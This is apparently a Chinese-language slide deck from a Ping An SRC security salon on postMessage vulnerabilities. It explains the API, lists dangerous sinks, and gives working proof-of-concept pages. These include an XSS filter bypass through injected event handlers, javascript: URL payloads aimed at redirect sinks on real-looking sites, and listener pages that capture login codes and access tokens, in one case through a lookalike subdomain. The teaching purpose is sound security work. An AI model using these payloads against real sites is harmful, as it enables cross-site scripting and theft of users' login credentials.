

企业安全 攻与防

平安SRC线上沙龙系列主题活动 第六期

🕒 时间：2024.5.31 14:00-17:00

主办方



合作伙伴



深入解析postMessage带来的风险

北山学院 陈广

定义和用法

postMessage() 方法用于安全地实现跨源通信。

语法

```
otherWindow.postMessage(message, targetOrigin, [transfer]);
```

参数	说明
otherWindow	其他窗口的一个引用，比如 iframe 的 contentWindow 属性、执行 window.open 返回的窗口对象、或者是命名过或数值索引的 window.frames。
message	将要发送到其他 window 的数据。
targetOrigin	指定哪些窗口能接收到消息事件，其值可以是 *（表示无限制）或者一个 URI。
transfer	可选，是一串和 message 同时传递的 Transferable 对象。这些对象的所有权将被转移给消息的接收方，而发送一方将不再保有所有权。

```
<script>
  window.addEventListener('message', (event) => {
    document.body.innerHTML = 'Received message from parent:'+event.data;
  });
</script>
```

01

postmessage一般通过window.addEventListener("message", receiveMessage);这种形式来监听是否有message发过来，从而实现接收操作

02

receiveMessage为接收之后所执行的函数，上图的event为接收的内容，它的data属性一般是我们可控的地方

03

在Window接收的时候，我们主要去查看data是否走过了危险函数





接收利用实操





```
<script>
  function filterXSS(content){
    return content.replaceAll("<", "")
  }
  //添加事件监控消息
window.addEventListener("message", (event)=>{
  document.body.innerHTML = '<a target="_blank" href="'+filterXSS(event.data.url)+'">test</a>'
});
</script>
```

当前页面接收postmessage，并且经过危险函数innerHTML，但是存在filterXSS的过滤。

此时我们怎么构造PoC，能够让页面触发XSS。


```
<!DOCTYPE html>
<html>
<head>
  <title></title>
  <meta charset="utf-8" />
<script>
function openChild() {
  child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
  //发送的数据内容
  let msg= { "url": "\"onclick=alert(1)//" };
  //发送消息数据数据到任意目标源, *指的是任意anyone
  child.postMessage(msg, '*');
}
</script>
</head>
<body>
  <script>
    openChild();
    setTimeout('sendMessage()', 3000)
  </script>
</body>
</html>
```

先打开存在漏洞的页面，作为子窗口
然后再向他发送message

通过注入事件的方式，无需尖括号。

绕过了过滤触发XSS。


```
window.addEventListener("message", (function(e) {  
    var t = e.data  
        , n = (e.origin,  
            t.type)  
        , i = t.action  
        , r = t.url;  
    n && i && "logout" === n && ("replace" === i && (window.location.href = r),  
        "reload" === i && window.location.reload()))  
})
```



经过危险函数location.href，可通过伪协议跳转导致xss，但是需要满足前置条件。

```
postMessage({"type":"logout","action":"replace","url":"javascript:alert(1)"})
```



```
        return new Me
    }
    (0,
V.sk)() || "function" !== typeof (null === window || void 0 === window ? void 0 : window.ad
    if ((null === f || void 0 === f ? void 0 : f.data) && /^(^|\.)\.\.com$/ .test(f.origin ||
        var k = f.data
            , R = k.method
            , L = k.url;
        "jump" === R && (Be.jump(L),
        q().monitor(33616303))
    }
}
), !1);
var Ge = (0,
V.sk)() ? null : getJumper();
```

jump函数通过调试发现本质是location.href

存在域名过滤

通过其他子域名无用xss实现有效xss

```
<script>
child = window.open("https://. . . . .", "popup", "height=300px, width=500p
x");
setTimeout("child.postMessage({ \"method\": \"jump\", \"url\": \"javascrip
t:alert(1)//\" }, \"*\")",2000)
</script>
```

`eval()`: 执行js代码

`innerHTML`: 渲染html

`document.write()`: 渲染html

`setTimeout()`: 执行js代码

`Function()`: 执行js代码

`location.href`: 跳转

`location`: 跳转

`location.replace()`: 跳转

`window.open()`: 打开

`document.createElement()`: 创建元素（需要好好看后续对元素的属性设置）

以及所有引用他们的函数如jQuery的一些函数，或者自定义的函数





发送利用实操演示





```
<iframe id="receiver" src="test2.html" width="300" height="200"></iframe>
<script>
    const receiver = document.getElementById('receiver').contentWindow;
    receiver.postMessage("test", "*");
</script>
```

发送一般是通过`receiver.postMessage("test", "*");`这种形式发送出去，`receiver`为要发送到的window，`test`为data，`*`表示要发送到的域名。

在window发送的时候，我们主要去看data是否包含敏感数据。

```
<!DOCTYPE html>
```

```
<html>
```

```
<head>
```

```
</head>
```

```
<body>
```

子窗口

```
<iframe id="myIframe" src="file:///Applications/MxSrvs/www/postmessage/test/1.html" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; border: none; margin: 0; padding: 0; overflow: hidden; z-index: 9999;"></iframe>
```

```
<script>window.addEventListener("message", receiveMessage, false);
```

```
function receiveMessage(event) {
```

```
    console.log("Received message: " + JSON.stringify(event.data));
```

```
}
```

```
</script>
```

```
</body>
```

```
</html>
```

注意：一定要放在body中

```
function postCodeToParent(code) {  
  let data={  
    type: "XXXXXX",  
    data: code  
  }  
  window.parent.postMessage(data, '*');  
  console.log("-----window.opener.postMessage-----")  
  window.opener.postMessage(data, '*')  
  
  window.close()  
}
```

- 通过对业务的挖掘，code可以作为登录凭证，data中包含code，所以我们接收这个code即可
- 当受害者访问poc的时候，code就泄露出来了

```
<iframe id="myIframe" src="http://127.0.0.1:8080/poc.html" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border: none; margin: 0; padding: 0; overflow: hidden; z-index: 9999;">  
</iframe>  
<script>window.addEventListener("message", receiveMessage, false);  
  function receiveMessage(event) {  
    console.log("Received message: " + JSON.stringify(event.data));  
  }  
</script>
```

```
var query = parseQs(location.search.replace('?', ''))
var topHost = query.h ? query.h : 'https://www.pingan.com';
console.log('Top Host: ', topHost);

var innerHTML = '';
var isWhite = query.style === 'white';
// (部分浏览器不支持模板字符串)
document.getElementById('iframe').innerHTML =
'<iframe id="inner-wechat-iframe" src="' + getIframeSrc(topHost,
isWhite) + '"></iframe>';

var targetOrigin = topHost;
// 接收postmessage消息的父窗口
if (query.code) {
  console.log('发送code');
  top.postMessage({
    type: 'code',
    code: query.code
  }, 'https://' + targetOrigin)
}
```

code可作为登录凭证，而且只会发送到topHost这个域名，但是发现topHost可以通过h参数传入。


```
if (p.location.origin.indexOf('test.com') > -1 && 'postMessage' in p) {  
  try {  
    p.postMessage({code: 0, openId: openId, accessToken: accessToken}, p.location.origin);  
  } catch(e) {  
    console.warn(e);  
    p.location.reload();  
  }  
}  
});
```

accessToken为用户凭证，发送域名必须包含test.com字符串。

使用子域名放置poc文件

如：test.com.beishanxueyuan.com

```
window.parent.postMessage({  
  type: "ThirdLogin",  
  url: window.location.href  
}, window.location.protocol + '//' + window.location.hostname + window.location.pathname + window.location.search + window.location.hash,  
window.close())
```

可能URL或者其他的地方也包含着敏感信息，或者可利用的信息，尤其是在app打开的URL中，可以多想想发出去的东西有没有用

Window发送的时候，我们就接收，Window接收的时候我们就发送

Window发送我们看敏感信息

Window接收我们看危险函数